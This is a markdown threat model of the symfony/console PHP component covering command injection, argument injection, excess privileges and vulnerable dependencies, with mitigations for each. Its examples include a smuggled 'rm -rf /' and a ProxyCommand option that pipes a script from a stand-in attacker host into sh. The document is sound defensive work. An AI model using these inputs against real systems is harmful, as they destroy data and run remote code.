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attack-surface.md

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Attack Surface Analysis for symfony/console

Attack Surface: Command Injection

  • Description: An attacker is able to execute arbitrary commands on the server by manipulating the command name passed to the Symfony Console.
    • How Console Contributes: The console's core function is to execute commands based on the provided name, making it the direct entry point for this attack.
    • Example:
      • Application code: ./bin/console [user-provided-command-name]
      • Attacker input: [user-provided-command-name] = "malicious:command; rm -rf /"
      • Result: The console executes the attacker's arbitrary command.
    • Impact: Complete system compromise, data loss, data breach, remote code execution.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Strict Whitelisting: Only allow a predefined, hardcoded list of commands to be executed. Never construct command names from user input or any external source. Use a lookup table or similar mechanism to map user actions to allowed commands.
      • Avoid Dynamic Command Names: Strive for a design where the command to be executed is determined by the application's internal logic, not directly from user input.

Attack Surface: Argument Injection

  • Description: An attacker manipulates the arguments passed to a legitimate console command, injecting malicious options or values.
    • How Console Contributes: The console directly processes and uses the provided arguments to control the behavior of the executed command.
    • Example:
      • Application code: ./bin/console app:legit-command --option=[user-input]
      • Attacker input: [user-input] = "--delete-all-data" (if such an option exists or can be crafted) or [user-input] = "-OProxyCommand='curl attacker.com | sh'" (if the command uses a vulnerable library or interacts with the shell).
      • Result: The command's behavior is altered to perform malicious actions, potentially leading to data loss, system compromise, or execution of attacker-supplied code.
    • Impact: Varies depending on the command and injected arguments, but can range from data leakage to remote code execution (especially if the command interacts with the shell or external programs).
    • Risk Severity: High to Critical (depending on the specific command and its capabilities)
    • Mitigation Strategies:
      • Strict Input Validation: Validate all command arguments against expected data types, formats, lengths, and allowed values. Use regular expressions, type hinting, and custom validation logic. Be extremely cautious about any argument that could influence file paths, network connections, or system commands.
      • Whitelisting: If possible, whitelist allowed argument values, especially for options that take a limited set of choices.
      • Avoid Shell Execution: If the command interacts with the operating system, avoid direct shell execution whenever possible. Use safer alternatives like Symfony's Process component, which provides better control and escaping. If shell execution is unavoidable, use escapeshellarg very carefully, understanding its limitations and potential bypasses.
      • Parameterization: If interacting with databases, use parameterized queries to prevent SQL injection through command arguments.

Attack Surface: Overly Permissive User Permissions

  • Description: The user account running the console commands has excessive privileges, increasing the impact of a successful command or argument injection attack.
    • How Console Contributes: The console executes commands with the permissions of the user running it. The console itself is the mechanism by which these permissions are leveraged.
    • Example:
      • Console commands are run as the root user.
      • An attacker successfully injects a command (even a seemingly simple one).
      • Result: The attacker gains full control of the system because the injected command executes with root privileges.
    • Impact: Complete system compromise if any command injection attack is successful, regardless of the injected command's intended functionality.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Principle of Least Privilege: Run console commands as a dedicated user with the absolute minimum necessary permissions. Never run commands as root or a user with administrative privileges.
      • Dedicated User Accounts: Create separate user accounts for different console tasks or environments (e.g., one user for database migrations, another for cache clearing, a separate user for production vs. development). Grant each user only the specific permissions required for their tasks.
      • Filesystem Permissions: Ensure that the console application, its associated files (including configuration files), and any directories it interacts with have appropriate permissions to prevent unauthorized access or modification by other users on the system.

Attack Surface: Vulnerable Dependencies (Directly Used by Console Commands)

  • Description: Third-party libraries directly used within the code of console commands contain vulnerabilities that can be exploited through crafted input to those commands.
    • How Console Contributes: The console command's code is the direct execution path for exploiting the vulnerability in the dependency. The console is not just a passive bystander; it's the active agent.
    • Example:
      • A console command uses an outdated version of a CSV parsing library with a known remote code execution vulnerability.
      • The command takes a CSV file path as an argument: ./bin/console app:import-csv --file=[user-input]
      • An attacker provides a specially crafted CSV file that triggers the vulnerability in the library when the console command attempts to parse it.
    • Impact: Varies depending on the vulnerability, but can range from data leakage to remote code execution. The impact is directly tied to the vulnerability within the dependency and the console command's use of that dependency.
    • Risk Severity: High to Critical (depending on the specific vulnerability in the dependency)
    • Mitigation Strategies:
      • Dependency Management: Use a dependency manager (e.g., Composer) to track dependencies and their versions.
      • Regular Updates: Keep dependencies up-to-date. Regularly run composer update (or equivalent) and review the changelogs for security fixes.
      • Vulnerability Scanning: Use security scanning tools (e.g., symfony security:check, Snyk, Dependabot, GitHub's security alerts) to automatically identify known vulnerabilities in dependencies.
      • Auditing: Periodically audit the code of critical dependencies, especially if they are not widely used or well-maintained, or if they handle untrusted input directly.